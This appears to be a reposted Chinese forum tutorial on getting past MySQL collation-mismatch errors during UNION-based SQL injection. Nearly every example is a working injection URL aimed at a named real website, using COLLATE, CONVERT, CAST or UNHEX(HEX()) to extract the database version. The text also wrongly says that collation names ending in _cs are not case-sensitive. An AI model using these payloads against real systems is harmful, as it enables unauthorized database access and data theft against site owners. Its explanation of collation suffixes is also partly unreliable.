|
背景
排序(collation)是指一组确定数据进行排序和比较的规则。字符数据使用定义正确字符序列的规则和用于指定区分大小写,重音符号,字符类型和字符宽度的选项进行排序。
排序关键点在于sql Server如何解析字符数据,因为很多人使用除英语外其他语言的MySQL并用它们存储数据,他们需要选择比较的规则取决于存储这些数据所使用的字符集。
在MySQL中,数据使用特定的字符集进行存储,可在不同层次定义存储,即:服务器,数据库,表和列。
使用union select我们可以结合两个或多个select语句的结果集。我们已经知道,UNION中的每个SELECT语句必须有相同数量的列,列也必须有类似的数据类型。他们的排列顺序必须相同!!!如果它们是不同的,我们将会得到一个错误。
示例如下:
- http://www.andytimmons.com/video.php?id=0004 and 0 UNION SELECT 1,version(),3,4,5,6,7,8--
复制代码 因此我们如何克服这些问题?这里有几种不同的选择。
1.定义COLLATE
SELECT * FROM table ORDER BY somekey COLLATE latin1_general_ci;
我们可以使用不同的排序规则的名称:
- latin1_general_ci
- utf8_general_ci
- utf8_unicode_ci
- latin1_german1_ci
- latin1_swedish_ci
- *********
- *********
复制代码 在_ci结尾的名称表示不区分大小写的排序规则。
在_cs结尾的名称不是区分大小写的排序规则。
在_bin结尾的名称表示二进制排序的排序规则。字符比较基于字符的二进制代码值。
2.使用CONVERT函数
CONVERT()提供了一种在不同的字符集间转换数据的方法。语法是:
CONVERT(表达式 USING 转码名称)
例子:
- http://www.andytimmons.com/video.php?id=0004 and 0 UNION SELECT 1,convert(version() using binary),3,4,5,6,7,8--
复制代码 3.使用CAST函数
您也可以使用CAST()将字符串转换到不同的字符集。
语法是: CAST(字符_字符串 AS 字符数据类型 CHARACTER SET 字符集名称)
例子
- http://www.andytimmons.com/video.php?id=0004 and 0 UNION SELECT 1,cast(version() as binary),3,4,5,6,7,8--
复制代码 4.使用UNHEX(HEX(XX))函数
UNHEX()返回包含十六进制表达的字符串
HEX() 返回小数或字符串值的十六进制表示
例子
- http://www.andytimmons.com/video.php?id=0004 and 0 UNION SELECT 1,UNHEX(HEX(version())),3,4,5,6,7,8--
复制代码
From:http://forum.sqliwiki.com/showthread.php?tid=44
|
|